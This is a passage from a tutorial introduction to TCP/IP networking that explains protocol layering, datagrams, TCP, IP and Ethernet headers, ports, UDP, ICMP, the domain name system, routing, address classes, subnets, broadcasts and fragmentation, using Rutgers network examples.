server is simply a small computer that only knows how to run telnet

(or some other protocol to do remote login). If your terminal is

connected to one of these, you simply type the name of a computer, and

you are connected to it. Generally it is possible to have active

connections to more than one computer at the same time. The terminal

server will have provisions to switch between connections rapidly, and

to notify you when output is waiting for another connection. (Terminal

servers use the telnet protocol, already mentioned. However any real

terminal server will also have to support name service and a number of

other protocols.)

Until recently, high- performance graphics programs had to

execute on a computer that had a bit-mapped graphics screen directly

attached to it. Network window systems allow a program to use a

display on a different computer. Full-scale network window systems

provide an interface that lets you distribute jobs to the systems that

are best suited to handle them, but still give you a single

graphically-based user interface. (The most widely-implemented window

system is X. A protocol description is available from MIT's Project

Athena. A reference implementation is publicly available from MIT. A

number of vendors are also supporting NeWS, a window system defined by

Sun. Both of these systems are designed to use TCP/IP.)

Note that some of the protocols described above were designed by Berkeley, Sun, or other organizations. Thus they are not officially part of the Internet protocol suite. However they are implemented

using TCP/IP, just as normal TCP/IP application protocols are. Since the protocol definitions are not considered proprietary, and since commercially-support implementations are widely available, it is

reasonable to think of these protocols as being effectively part of the Internet suite.

Also note that the list above is simply a sample of the sort of services available through TCP/IP. However it does contain the majority of the "major" applications. The other commonly-used protocols tend to be

specialized facilities for getting information of various kinds, such as who is logged in, the time of day, etc. However if you need a facility that is not listed here, we encourage you to look through the current edition of Internet Protocols (currently RFC 1011), which lists all of the available protocols, and also to look at some of the major TCP/IP implementations to see what various vendors have added.

TCP/IP is a layered set of protocols. In order to understand what this means, it is useful to look at an example. A typical situation is sending mail. First, there is a protocol for mail. This defines a set of commands which one machine sends to another, e.g. commands to specify who the sender of the message is, who it is being sent to, and then the text of the message. However this protocol assumes that there is a way to communicate reliably between the two computers. Mail, like other application protocols, simply defines a set of commands and messages to be sent. It is designed to be used together with TCP and IP.

TCP is responsible for making sure that the commands get through to the other end. It keeps track of what is sent, and retransmits anything that did not get through. If any message is too large for one

datagram, e.g. the text of the mail, TCP will split it up into several datagrams, and make sure that they all arrive correctly. Since these functions are needed for many applications, they are put together into

a separate protocol, rather than being part of the specifications for sending mail. You can think of TCP as forming a library of routines that applications can use when they need reliable network

communications with another computer.

Similarly, TCP calls on the services of IP. Although the services that TCP supplies are needed by many applications, there are still some kinds of applications that don't need them. However there are some

services that every application needs. So these services are put together into IP. As with TCP, you can think of IP as a library of routines that TCP calls on, but which is also available to applications that don't use TCP. This strategy of building several levels of protocol is called "layering". We think of the applications programs such as mail, TCP, and IP, as being separate "layers", each of which calls on the services of the layer below it. Generally, TCP/IP applications use 4 layers: an application protocol such as mail, a protocol such as TCP that provides services need by many applications IP, which provides the basic service of getting datagrams to their destination the protocols needed to manage a specific physical medium, such as Ethernet or a point to point line.

TCP/IP is based on the "catenet model". (This is described in more detail in IEN 48.) This model assumes that there are a large number of independent networks connected together by gateways. The user should be able to access computers or other resources on any of these networks. Datagrams will often pass through a dozen different networks before getting to their final destination.

The routing needed to accomplish this should be completely invisible to the user. As far as the user is concerned, all he needs to know in order to access another system is an "Internet address". This is an

address that looks like 128.6.4.194. It is actually a 32-bit number. However it is normally written as 4 decimal numbers, each representing 8 bits of the address. (The term "octet" is used by Internet documentation for such 8-bit chunks. The term "byte" is not used, because TCP/IP is supported by some computers that have byte sizes other than 8 bits.) Generally the structure of the address gives

you some information about how to get to the system. For example, 128.6 is a network number assigned by a central authority to Rutgers University. Rutgers uses the next octet to indicate which of the

campus Ethernets is involved. 128.6.4 happens to be an Ethernet used by the Computer Science Department. The last octet allows for up to 254 systems on each Ethernet. (It is 254 because 0 and 255 are not allowed, for reasons that will be discussed later.) Note that 128.6.4.194 and 128.6.5.194 would be different systems. The structure of an Internet address is described in a bit more detail later.

Of course we normally refer to systems by name, rather than by Internet address. When we specify a name, the network software looks it up in a database, and comes up with the corresponding Internet

address.

Most of the network software deals strictly in terms of the address. (RFC 882 describes the name server technology used to handle this lookup.) TCP/IP is built on "connectionless" technology. Information is transferred as a sequence of "datagrams". A datagram is a collection of data that is sent as a single

message. Each of these datagrams is sent through the network individually. There are provisions to open connections (i.e. to start a conversation that will continue for some time). However at some level, information from those connections is broken up into datagrams, and those datagrams are treated by the network as completely separate.

For example, suppose you want to transfer a 15000 octet file. Most networks can't handle a 15000 octet datagram. So the protocols will break this up into something like 30 500-octet datagrams. Each of these datagrams will be sent to the other end. At that point, they will be put back together into the 15000-octet

file. However while those datagrams are in transit, the network doesn't know that there is any connection between them. It is perfectly possible that datagram 14 will actually arrive before datagram 13. It is also possible that somewhere in the network, an error will occur, and some datagram won't get through at all. In that case, that datagram has to be sent again.

Note by the way that the terms "datagram" and "packet" often seem to be nearly interchangable. Technically, datagram is the right word to use when describing TCP/IP. A datagram is a unit of data, which is what the protocols deal with. A packet is a physical thing, appearing on an Ethernet or some wire. In most cases a packet simply contains a datagram, so there is very little difference. However they can differ. When TCP/IP is used on top of X.25, the X.25 interface breaks the datagrams up into 128-byte packets. This is invisible to IP, because the packets are put back together into a single datagram at

the other end before being processed by TCP/IP. So in this case, one IP datagram would be carried by several packets. However with most media, there are efficiency advantages to sending one datagram per

packet, and so the distinction tends to vanish.

Two separate protocols are involved in handling TCP/IP datagrams. TCP (the "transmission control protocol") is responsible for breaking up the message into datagrams, reassembling them at the other end, resending anything that gets lost, and putting things back in the right order. IP (the "internet protocol") is responsible for routing individual datagrams. It may seem like TCP is doing all the work. And

in small networks that is true. However in the Internet, simply getting a datagram to its destination can be a complex job. A connection may require the datagram to go through several networks at Rutgers, a serial line to the John von Neuman Supercomputer Center, a couple of Ethernets there, a series of 56Kbaud phone lines to another NSFnet site, and more Ethernets on another campus. Keeping track of

the routes to all of the destinations and handling incompatibilities among different transport media turns out to be a complex job.

Note that the interface between TCP and IP is fairly simple. TCP simply hands IP a datagram with a destination. IP doesn't know how this datagram relates to any datagram before it or after it. It may

have occurred to you that something is missing here. We have talked about Internet addresses, but not about how you keep track of multiple connections to a given system. Clearly it isn't enough to get a

datagram to the right destination. TCP has to know which connection this datagram is part of.

This task is referred to as "demultiplexing." In fact, there are several levels of demultiplexing going on in TCP/IP. The information needed to do this demultiplexing is contained in a series of "headers". A header is simply a few extra octets tacked onto the beginning of a datagram by some protocol in order to keep track of it. It's a lot like putting a letter into an envelope and putting an address on the outside of the envelope. Except with modern networks it happens several times. It's like you put the letter into a little

envelope, your secretary puts that into a somewhat bigger envelope, the campus mail center puts that envelope into a still bigger one, etc.

Here is an overview of the headers that get stuck on a message that passes through a typical TCP/IP network:

We start with a single data stream, say a file you are trying to send to some other computer:

TCP breaks it up into manageable chunks. (In order to do this, TCP has to know how large a datagram your network can handle. Actually, the TCP's at each end say how big a datagram they can handle, and then they pick the smallest size.)

TCP puts a header at the front of each datagram. This header actually contains at least 20 octets, but the most important ones are a source and destination "port number" and a "sequence number". The port

numbers are used to keep track of different conversations. Suppose 3 different people are transferring files. Your TCP might allocate port numbers 1000, 1001, and 1002 to these transfers. When you are sending a datagram, this becomes the "source" port number, since you are the source of the datagram. Of course the TCP at the other end has assigned a port number of its own for the conversation. Your TCP has to know the port number used by the other end as well. (It finds out when the connection starts, as we will explain below.) It puts this in the "destination" port field. Of course if the other end sends a

datagram back to you, the source and destination port numbers will be reversed, since then it will be the source and you will be the destination.

Each datagram has a sequence number. This is used so that the other end can make sure that it gets the datagrams in the right order, and that it hasn't missed any. (See the TCP specification for

details.) TCP doesn't number the datagrams, but the octets. So if there are 500 octets of data in each datagram, the first datagram might be numbered 0, the second 500, the next 1000, the next 1500,

etc.

Finally, I will mention the Checksum. This is a number that is computed by adding up all the octets in the datagram (more or less - see the TCP spec). The result is put in the header. TCP at the other end computes the checksum again. If they disagree, then something bad happened to the datagram in transmission, and it is thrown away.

The window is used to control how much data can be in transit at any one time. It is not practical to wait for each datagram to be acknowledged before sending the next one. That would slow things down

too much. On the other hand, you can't just keep sending, or a fast computer might overrun the capacity of a slow one to absorb data. Thus each end indicates how much new data it is currently prepared to

absorb by putting the number of octets in its "Window" field. As the computer receives data, the amount of space left in its window decreases. When it goes to zero, the sender has to stop. As the receiver processes the data, it increases its window, indicating that it is ready to accept more data. Often the same datagram can be used to acknowledge receipt of a set of data and to give permission for

additional new data (by an updated window).

The "Urgent" field allows one end to tell the other to skip ahead in its processing to a particular octet. This is often useful for handling asynchronous events, for example when you type a control character or other command that interrupts output. The other fields are beyond the scope of this document.

TCP sends each of these datagrams to IP. Of course it has to tell IP the Internet address of the computer at the other end. Note that this is all IP is concerned about. It doesn't care about what is in the

datagram, or even in the TCP header. IP's job is simply to find a route for the datagram and get it to the other end. In order to allow gateways or other intermediate systems to forward the datagram, it

adds its own header.

The main things in this header are the source and destination Internet address (32-bit addresses, like 128.6.4.194), the protocol number, and another checksum. The source Internet address is simply the address of your machine. (This is necessary so the other end knows where the datagram came from.) The destination Internet address is the address of the other machine. (This is necessary so any gateways in the middle know where you want the datagram to go.) The protocol number tells IP at the other end to send the datagram to TCP. Although most IP traffic uses TCP, there are other protocols that can use IP, so you have to tell IP which protocol to send the datagram to.

Finally, the checksum allows IP at the other end to verify that the header wasn't damaged in transit. Note that TCP and IP have separate checksums. IP needs to be able to verify that the header didn't get

damaged in transit, or it could send a message to the wrong place. For reasons not worth discussing here, it is both more efficient and safer to have TCP compute a separate checksum for the TCP header and data.

Again, the header contains some additional fields that have not been discussed. Most of them are beyond the scope of this document. The flags and fragment offset are used to keep track of the pieces when a

datagram has to be split up. This can happen when datagrams are forwarded through a network for which they are too big. (This will be discussed a bit more below.) The time to live is a number that is

decremented whenever the datagram passes through a system. When it goes to zero, the datagram is discarded. This is done in case a loop develops in the system somehow. Of course this should be impossible, but well-designed networks are built to cope with "impossible" conditions.

At this point, it's possible that no more headers are needed. If your computer happens to have a direct phone line connecting it to the destination computer, or to a gateway, it may simply send the

datagrams out on the line (though likely a synchronous protocol such as HDLC would be used, and it would add at least a few octets at the beginning and end).

Most of our networks these days use Ethernet. So now we have to describe Ethernet's headers. Unfortunately, Ethernet has its own addresses. The people who designed Ethernet wanted to make sure that no two machines would end up with the same Ethernet address. Furthermore, they didn't want the user to have to worry about assigning addresses. So each Ethernet controller comes with an address

builtin from the factory. In order to make sure that they would never have to reuse addresses, the Ethernet designers allocated 48 bits for the Ethernet address. People who make Ethernet equipment have to

register with a central authority, to make sure that the numbers they assign don't overlap any other manufacturer.

Ethernet is a "broadcast medium". That is, it is in effect like an old party line telephone. When you send a packet out on the Ethernet, every machine on the network sees the packet. So something is needed

to make sure that the right machine gets it. As you might guess, this involves the Ethernet header. Every Ethernet packet has a 14-octet header that includes the source and destination Ethernet address, and

a type code. Each machine is supposed to pay attention only to packets with its own Ethernet address in the destination field. (It's perfectly possible to cheat, which is one reason that Ethernet communications are not terribly secure.)

Note that there is no connection between the Ethernet address and the Internet address. Each machine has to have a table of what Ethernet address corresponds to what Internet address. (We will describe how

this table is constructed a bit later.) In addition to the addresses, the header contains a type code. The type code is to allow for several different protocol families to be used on the same network. So you can

use TCP/IP, DECnet, Xerox NS, etc. at the same time. Each of them will put a different value in the type field. Finally, there is a checksum. The Ethernet controller computes a checksum of the entire

packet. When the other end receives the packet, it recomputes the checksum, and throws the packet away if the answer disagrees with the original. The checksum is put on the end of the packet, not in the

header.

When these packets are received by the other end, of course all the headers are removed. The Ethernet interface removes the Ethernet header and the checksum. It looks at the type code. Since the type

code is the one assigned to IP, the Ethernet device driver passes the datagram up to IP. IP removes the IP header. It looks at the IP protocol field. Since the protocol type is TCP, it passes the datagram

up to TCP. TCP now looks at the sequence number. It uses the sequence numbers and other information to combine all the datagrams into the original file. The ends our initial summary of TCP/IP. There are

still some crucial concepts we haven't gotten to, so we'll now go back and add details in several areas. (For detailed descriptions of the items discussed here see, RFC 793 for TCP, RFC 791 for IP, and RFC's

894 and 826 for sending IP over Ethernet.)

So far, we have described how a stream of data is broken up into datagrams, sent to another computer, and put back together. However something more is needed in order to accomplish anything useful. There

has to be a way for you to open a connection to a specified computer, log into it, tell it what file you want, and control the transmission of the file. (If you have a different application in mind, e.g. computer mail, some analogous protocol is needed.) This is done by "application protocols".

The application protocols run "on top" of TCP/IP. That is, when they want to send a message, they give the message to TCP. TCP makes sure it gets delivered to the other end. Because TCP and IP take care of all the networking details, the applications protocols can treat a network connection as if it were a simple byte stream, like a terminal or phone line. Before going into more details about applications

programs, we have to describe how you find an application.

Suppose you want to send a file to a computer whose Internet address is 128.6.4.7. To start the process, you need more than just the Internet address. You have to connect to the FTP server at the other

end. In general, network programs are specialized for a specific set of tasks. Most systems have separate programs to handle file transfers, remote terminal logins, mail, etc. When you connect to

128.6.4.7, you have to specify that you want to talk to the FTP server. This is done by having "well-known sockets" for each server. Recall that TCP uses port numbers to keep track of individual conversations. User programs normally use more or less random port numbers. However specific port numbers are assigned to the programs that sit waiting for requests.

For example, if you want to send a file, you will start a program called "ftp". It will open a connection using some random number, say 1234, for the port number on its end. However it will specify port

number 21 for the other end. This is the official port number for the FTP server. Note that there are two different programs involved. You run ftp on your side. This is a program designed to accept commands

from your terminal and pass them on to the other end. The program that you talk to on the other machine is the FTP server. It is designed to accept commands from the network connection, rather than an

interactive terminal. There is no need for your program to use a well-known socket number for itself. Nobody is trying to find it. However the servers have to have well-known numbers, so that people can open connections to them and start sending them commands. The official port numbers for each program are given in "Assigned Numbers".

Note that a connection is actually described by a set of 4 numbers: the Internet address at each end, and the TCP port number at each end. Every datagram has all four of those numbers in it. (The Internet

addresses are in the IP header, and the TCP port numbers are in the TCP header.) In order to keep things straight, no two connections can have the same set of numbers. However it is enough for any one number

to be different. For example, it is perfectly possible for two different users on a machine to be sending files to the same other machine. This could result in connections with the following parameters:

Internet addresses TCP ports

connection 1 128.6.4.194, 128.6.4.7 1234, 21

connection 2 128.6.4.194, 128.6.4.7 1235, 21

Since the same machines are involved, the Internet addresses are the same. Since they are both doing file transfers, one end of the connection involves the well-known port number for FTP. The only thing

that differs is the port number for the program that the users are running. That's enough of a difference. Generally, at least one end of the connection asks the network software to assign it a port number

that is guaranteed to be unique. Normally, it's the user's end, since the server has to use a well-known number.

Now that we know how to open connections, let's get back to the applications programs. As mentioned earlier, once TCP has opened a connection, we have something that might as well be a simple wire. All

the hard parts are handled by TCP and IP. However we still need some agreement as to what we send over this connection. In effect this is simply an agreement on what set of commands the application will

understand, and the format in which they are to be sent. Generally, what is sent is a combination of commands and data. They use context to differentiate.

For example, the mail protocol works like this: Your mail program opens a connection to the mail server at the other end. Your program gives it your machine's name, the sender of the message, and the

recipients you want it sent to. It then sends a command saying that it is starting the message. At that point, the other end stops treating what it sees as commands, and starts accepting the message. Your end then starts sending the text of the message. At the end of the message, a special mark is sent (a dot in the first column). After that, both ends understand that your program is again sending commands. This is the simplest way to do things, and the one that most applications use.

File transfer is somewhat more complex. The file transfer protocol involves two different connections. It starts out just like mail. The user's program sends commands like "log me in as this user", "here is

my password", "send me the file with this name". However once the command to send data is sent, a second connection is opened for the data itself. It would certainly be possible to send the data on the

same connection, as mail does. However file transfers often take a long time. The designers of the file transfer protocol wanted to allow the user to continue issuing commands while the transfer is going

on. For example, the user might make an inquiry, or he might abort the transfer. Thus the designers felt it was best to use a separate connection for the data and leave the original command connection for

commands. (It is also possible to open command connections to two different computers, and tell them to send a file from one to the other. In that case, the data couldn't go over the command

connection.)

Remote terminal connections use another mechanism still. For remote logins, there is just one connection. It normally sends data. When it is necessary to send a command (e.g. to set the terminal type or to change some mode), a special character is used to indicate that the next character is a command. If the user happens to type that special character as data, two of them are sent.

We are not going to describe the application protocols in detail in this document. It's better to read the RFC's yourself. However there are a couple of common conventions used by applications that will be

described here. First, the common network representation: TCP/IP is intended to be usable on any computer. Unfortunately, not all computers agree on how data is represented. There are differences in

character codes (ASCII vs. EBCDIC), in end of line conventions (carriage return, line feed, or a representation using counts), and in whether terminals expect characters to be sent individually or a line

at a time. In order to allow computers of different kinds to communicate, each applications protocol defines a standard representation.

Note that TCP and IP do not care about the representation. TCP simply sends octets. However the programs at both ends have to agree on how the octets are to be interpreted. The RFC for each application specifies the standard representation for that application. Normally it is "net ASCII". This uses ASCII characters, with end of line denoted by a carriage return followed by a line feed. For remote

login, there is also a definition of a "standard terminal", which turns out to be a half-duplex terminal with echoing happening on the local machine. Most applications also make provisions for the two

computers to agree on other representations that they may find more convenient. For example, PDP-10's have 36-bit words. There is a way that two PDP-10's can agree to send a 36-bit binary file. Similarly,

two systems that prefer full-duplex terminal conversations can agree on that. However each application has a standard representation, which every machine must support.

Keep in mind that it has become common practice for some corporations to change a services port number on the server side. If your client software is not configured with the same port number, connection will not be successful. We will discuss later in this text how you can perform port scanning on an entire IP address to see which ports are active.

Protocols other than TCP: UDP and ICMP

So far, we have described only connections that use TCP. Recall that TCP is responsible for breaking up messages into datagrams, and reassembling them properly. However in many applications, we have

messages that will always fit in a single datagram. An example is name lookup. When a user attempts to make a connection to another system, he will generally specify the system by name, rather than Internet

address. His system has to translate that name to an address before it can do anything. Generally, only a few systems have the database used to translate names to addresses. So the user's system will want to send a query to one of the systems that has the database. This query is going to be very short. It will certainly fit in one datagram. So will the answer. Thus it seems silly to use TCP. Of course TCP does

more than just break things up into datagrams. It also makes sure that the data arrives, resending datagrams where necessary. But for a question that fits in a single datagram, we don't need all the

complexity of TCP to do this. If we don't get an answer after a few seconds, we can just ask again. For applications like this, there are alternatives to TCP.

The most common alternative is UDP ("user datagram protocol"). UDP is designed for applications where you don't need to put sequences of datagrams together. It fits into the system much like TCP. There is a

UDP header. The network software puts the UDP header on the front of your data, just as it would put a TCP header on the front of your data. Then UDP sends the data to IP, which adds the IP header, putting

UDP's protocol number in the protocol field instead of TCP's protocol number. However UDP doesn't do as much as TCP does. It doesn't split data into multiple datagrams. It doesn't keep track of what it has

sent so it can resend if necessary. About all that UDP provides is port numbers, so that several programs can use UDP at once. UDP port numbers are used just like TCP port numbers. There are well-known port

numbers for servers that use UDP. Note that the UDP header is shorter than a TCP header. It still has source and destination port numbers, and a checksum, but that's about it. No sequence number, since it is not needed. UDP is used by the protocols that handle name lookups (see IEN 116, RFC 882, and RFC 883), and a number of similar protocols.

Another alternative protocol is ICMP ("Internet Control Message Protocol"). ICMP is used for error messages, and other messages intended for the TCP/IP software itself, rather than any particular

user program. For example, if you attempt to connect to a host, your system may get back an ICMP message saying "host unreachable". ICMP can also be used to find out some information about the network. See RFC 792 for details of ICMP. ICMP is similar to UDP, in that it handles messages that fit in one datagram. However it is even simpler than UDP. It doesn't even have port numbers in its header. Since all ICMP messages are interpreted by the network software itself, no port numbers are needed to say where a ICMP message is supposed to go.

Keeping track of names and information: the domain system

As we indicated earlier, the network software generally needs a 32-bit Internet address in order to open a connection or send a datagram. However users prefer to deal with computer names rather than

numbers. Thus there is a database that allows the software to look up a name and find the corresponding number. When the Internet was small, this was easy. Each system would have a file that listed all of the

other systems, giving both their name and number. There are now too many computers for this approach to be practical. Thus these files have been replaced by a set of name servers that keep track of host

names and the corresponding Internet addresses. (In fact these servers are somewhat more general than that. This is just one kind of information stored in the domain system.)

Note that a set of interlocking servers are used, rather than a single central one. There are now so many different institutions connected to the Internet that it would be impractical for them to notify a central

authority whenever they installed or moved a computer. Thus naming authority is delegated to individual institutions. The name servers form a tree, corresponding to institutional structure. The names

themselves follow a similar structure.

A typical example is the name BORAX.LCS.MIT.EDU. This is a computer at the Laboratory for Computer Science (LCS) at MIT. In order to find its Internet address, you might potentially have to consult 4

different servers. First, you would ask a central server (called the root) where the EDU server is. EDU is a server that keeps track of educational institutions. The root server would give you the names and

Internet addresses of several servers for EDU. (There are several servers at each level, to allow for the possibly that one might be down.) You would then ask EDU where the server for MIT is. Again, it

would give you names and Internet addresses of several servers for MIT. Generally, not all of those servers would be at MIT, to allow for the possibility of a general power failure at MIT. Then you would ask

MIT where the server for LCS is, and finally you would ask one of the LCS servers about BORAX. The final result would be the Internet address for BORAX.LCS.MIT.EDU. Each of these levels is referred to as

a "domain". The entire name, BORAX.LCS.MIT.EDU, is called a "domain name". (So are the names of the higher-level domains, such as LCS.MIT.EDU, MIT.EDU, and EDU.)

Fortunately, you don't really have to go through all of this most of the time. First of all, the root name servers also happen to be the name servers for the top-level domains such as EDU. Thus a single

query to a root server will get you to MIT. Second, software generally remembers answers that it got before. So once we look up a name at LCS.MIT.EDU, our software remembers where to find servers for

LCS.MIT.EDU, MIT.EDU, and EDU. It also remembers the translation of BORAX.LCS.MIT.EDU. Each of these pieces of information has a "time to live" associated with it. Typically this is a few days. After that,

the information expires and has to be looked up again. This allows institutions to change things.

The domain system is not limited to finding out Internet addresses. Each domain name is a node in a database. The node can have records that define a number of different properties. Examples are

Internet address, computer type, and a list of services provided by a computer. A program can ask for a specific piece of information, or all information about a given name. It is possible for a node in the

database to be marked as an "alias" (or nickname) for another node. It is also possible to use the domain system to store information about users, mailing lists, or other objects.

There is an Internet standard defining the operation of these databases, as well as the protocols used to make queries of them. Every network utility has to be able to make such queries, since this is now the official way to evaluate host names. Generally utilities will talk to a server on their own system. This server will take care of contacting the other servers for them. This keeps down the amount of code that has to be in each application program.

The domain system is particularly important for handling computer mail. There are entry types to define what computer handles mail for a given name, to specify where an individual is to receive mail, and to

define mailing lists. (See RFC's 882, 883, and 973 for specifications of the domain system. RFC 974 defines the use of the domain system in sending mail.)

The description above indicated that the IP implementation is responsible for getting datagrams to the destination indicated by the destination address, but little was said about how this would be

done. The task of finding how to get a datagram to its destination is referred to as "routing". In fact many of the details depend upon the particular implementation. However some general things can be said.

First, it is necessary to understand the model on which IP is based. IP assumes that a system is attached to some local network. We assume that the system can send datagrams to any other system on its own network. (In the case of Ethernet, it simply finds the Ethernet address of the destination system, and puts the datagram out on the Ethernet.) The problem comes when a system is asked to send a datagram to a system on a different network. This problem is handled by gateways. A gateway is a system that connects a network with one or more other networks. Gateways are often normal computers that happen to have more than one network interface. For example, we have a Unix machine that has two different Ethernet interfaces. Thus it is connected to networks 128.6.4 and 128.6.3. This machine can act as a gateway between those two networks. The software on that machine must be set up so that it will forward datagrams from one network to the other. That is, if a machine on network 128.6.4 sends a datagram to the gateway, and the datagram is addressed to a machine on network

128.6.3, the gateway will forward the datagram to the destination. Major communications centers often have gateways that connect a number of different networks. (In many cases, special-purpose gateway systems provide better performance or reliability than general-purpose systems acting as gateways. A number of vendors sell such systems.)

Routing in IP is based entirely upon the network number of the destination address. Each computer has a table of network numbers. For each network number, a gateway is listed. This is the gateway to be

used to get to that network. Note that the gateway doesn't have to connect directly to the network. It just has to be the best place to go to get there. For example at Rutgers, our interface to NSFnet is at

the John von Neuman Supercomputer Center (JvNC). Our connection to JvNC is via a high-speed serial line connected to a gateway whose address is 128.6.3.12. Systems on net 128.6.3 will list 128.6.3.12 as

the gateway for many off-campus networks. However systems on net 128.6.4 will list 128.6.4.1 as the gateway to those same off-campus networks. 128.6.4.1 is the gateway between networks 128.6.4 and

128.6.3, so it is the first step in getting to JvNC.

When a computer wants to send a datagram, it first checks to see if the destination address is on the system's own local network. If so, the datagram can be sent directly. Otherwise, the system expects to

find an entry for the network that the destination address is on. The datagram is sent to the gateway listed in that entry. This table can get quite big. For example, the Internet now includes several hundred

individual networks. Thus various strategies have been developed to reduce the size of the routing table. One strategy is to depend upon "default routes". Often, there is only one gateway out of a network. This gateway might connect a local Ethernet to a campus-wide backbone network. In that case, we don't need to have a separate entry for every network in the world. We simply define that gateway as a "default". When no specific route is found for a datagram, the datagram is sent to the default gateway. A default gateway can even be used when there are several gateways on a network. There are provisions for gateways to send a message saying "I'm not the best gateway -- use this one instead." (The message is sent via ICMP. See RFC 792.) Most network software is designed to use these messages to add entries to their routing tables. Suppose network 128.6.4 has two gateways, 128.6.4.59 and 128.6.4.1. 128.6.4.59 leads to several other internal Rutgers networks. 128.6.4.1 leads indirectly to the NSFnet. Suppose we set 128.6.4.59 as a default gateway, and have no other routing table entries. Now what happens when we need to send a datagram to MIT? MIT is network 18. Since we have no entry for network 18, the datagram will be sent to the default, 128.6.4.59. As it happens, this gateway is the wrong one. So it will forward the

datagram to 128.6.4.1. But it will also send back an error saying in effect: "to get to network 18, use 128.6.4.1". Our software will then add an entry to the routing table. Any future datagrams to MIT will then go directly to 128.6.4.1. (The error message is sent using the ICMP protocol. The message type is called "ICMP redirect.")

Most IP experts recommend that individual computers should not try to keep track of the entire network. Instead, they should start with default gateways, and let the gateways tell them the routes, as just

described. However this doesn't say how the gateways should find out about the routes. The gateways can't depend upon this strategy. They have to have fairly complete routing tables. For this, some sort of

routing protocol is needed. A routing protocol is simply a technique for the gateways to find each other, and keep up to date about the best way to get to every network. RFC 1009 contains a review of

gateway design and routing. However rip.doc is probably a better introduction to the subject. It contains some tutorial material, and a detailed description of the most commonly-used routing protocol.

Details about Internet Addresses: Subnets and Broadcasting

As indicated earlier, Internet addresses are 32-bit numbers, normally written as 4 octets (in decimal), e.g. 128.6.4.7. There are actually 3 different types of address. The problem is that the address has to

indicate both the network and the host within the network. It was felt that eventually there would be lots of networks. Many of them would be small, but probably 24 bits would be needed to represent all the IP

networks. It was also felt that some very big networks might need 24 bits to represent all of their hosts. This would seem to lead to 48 bit addresses. But the designers really wanted to use 32 bit

addresses. So they adopted a kludge.

The assumption is that most of the networks will be small. So they set up three different ranges of address. Addresses beginning with 1 to 126 use only the first octet for the network number. The other three octets are available for the host number. Thus 24 bits are available for hosts. These numbers are used for large networks. But there can only be 126 of these very big networks. The Arpanet is one, and there are a few large commercial networks. But few normal organizations get one of these "class A" addresses. For normal large organizations, "class B" addresses are used. Class B addresses use the first two octets for the network number. Thus network numbers are 128.1 through 191.254. (We avoid 0 and 255, for reasons that we see below. We also avoid addresses beginning with 127, because that is used by some systems for special purposes.) The last two octets are available for host addesses, giving 16 bits of host address. This allows for 64516 computers, which should be enough for most organizations. (It is possible to get more than one class B address, if you run out.) Finally, class C addresses use three octets, in the range 192.1.1 to 223.254.254. These allow only 254 hosts on each network, but there can

be lots of these networks. Addresses above 223 are reserved for future use, as class D and E (which are currently not defined).

Many large organizations find it convenient to divide their network number into "subnets". For example, Rutgers has been assigned a class B address, 128.6. We find it convenient to use the third octet of the

address to indicate which Ethernet a host is on. This division has no significance outside of Rutgers. A computer at another institution would treat all datagrams addressed to 128.6 the same way. They would

not look at the third octet of the address. Thus computers outside Rutgers would not have different routes for 128.6.4 or 128.6.5. But inside Rutgers, we treat 128.6.4 and 128.6.5 as separate networks. In

effect, gateways inside Rutgers have separate entries for each Rutgers subnet, whereas gateways outside Rutgers just have one entry for 128.6.

Note that we could do exactly the same thing by using a separate class C address for each Ethernet. As far as Rutgers is concerned, it would be just as convenient for us to have a number of class C

addresses. However using class C addresses would make things inconvenient for the rest of the world. Every institution that wanted to talk to us would have to have a separate entry for each one of our

networks. If every institution did this, there would be far too many networks for any reasonable gateway to keep track of. By subdividing a class B network, we hide our internal structure from everyone else,

and save them trouble. This subnet strategy requires special provisions in the network software. It is described in RFC 950.

0 and 255 have special meanings. 0 is reserved for machines that don't know their address. In certain circumstances it is possible for a machine not to know the number of the network it is on, or even its

own host address. For example, 0.0.0.23 would be a machine that knew it was host number 23, but didn't know on what network.

255 is used for "broadcast". A broadcast is a message that you want every system on the network to see. Broadcasts are used in some situations where you don't know who to talk to. For example, suppose

you need to look up a host name and get its Internet address. Sometimes you don't know the address of the nearest name server. In that case, you might send the request as a broadcast. There are also cases where a number of systems are interested in information. It is then less expensive to send a single broadcast than to send datagrams individually to each host that is interested in the information. In order to send a broadcast, you use an address that is made by using your network address, with all ones in the part of the address where the host number goes. For example, if you are on network 128.6.4, you would use 128.6.4.255 for broadcasts. How this is actually implemented depends upon the medium. It is not possible to send broadcasts on the Arpanet, or on point to point lines. However it is possible on an Ethernet. If you use an Ethernet address with all its bits on (all ones), every machine on the Ethernet is supposed to look at that datagram.

Although the official broadcast address for network 128.6.4 is now 128.6.4.255, there are some other addresses that may be treated as broadcasts by certain implementations. For convenience, the standard

also allows 255.255.255.255 to be used. This refers to all hosts on the local network. It is often simpler to use 255.255.255.255 instead of finding out the network number for the local network and forming a

broadcast address such as 128.6.4.255. In addition, certain older implementations may use 0 instead of 255 to form the broadcast address. Such implementations would use 128.6.4.0 instead of 128.6.4.255 as the broadcast address on network 128.6.4. Finally, certain older implementations may not understand about subnets. Thus they consider the network number to be 128.6. In that case, they will assume a broadcast address of 128.6.255.255 or 128.6.0.0. Until support for broadcasts is implemented properly, it can be a somewhat dangerous feature to use.

Because 0 and 255 are used for unknown and broadcast addresses, normal hosts should never be given addresses containing 0 or 255. Addresses should never begin with 0, 127, or any number above 223. Addresses violating these rules are sometimes referred to as "Martians", because of rumors that the Central University of Mars is using network 225.

TCP/IP is designed for use with many different kinds of network. Unfortunately, network designers do not agree about how big packets can be. Ethernet packets can be 1500 octets long. Arpanet packets have a maximum of around 1000 octets. Some very fast networks have much larger packet sizes. At first, you might think that IP should simply settle on the smallest possible size. Unfortunately, this would cause serious performance problems. When transferring large files, big packets are far more efficient than small ones. So we want to be able to use the largest packet size possible. But we also want to be able to handle networks with small limits.

There are two provisions for this. First, TCP has the ability to "negotiate" about datagram size. When a TCP connection first opens, both ends can send the maximum datagram size they can handle. The

smaller of these numbers is used for the rest of the connection. This allows two implementations that can handle big datagrams to use them, but also lets them talk to implementations that can't handle them. However this doesn't completely solve the problem. The most serious problem is that the two ends don't necessarily know about all of the steps in between. For example, when sending data between Rutgers and Berkeley, it is likely that both computers will be on Ethernets. Thus they will both be prepared to handle 1500-octet datagrams. However the connection will at some point end up going over the Arpanet. It can't handle packets of that size. For this reason, there are provisions to split datagrams up into pieces. (This is referred to as "fragmentation".) The IP header contains fields indicating the datagram has been split, and enough information to let the pieces be put back together. If a gateway connects an Ethernet

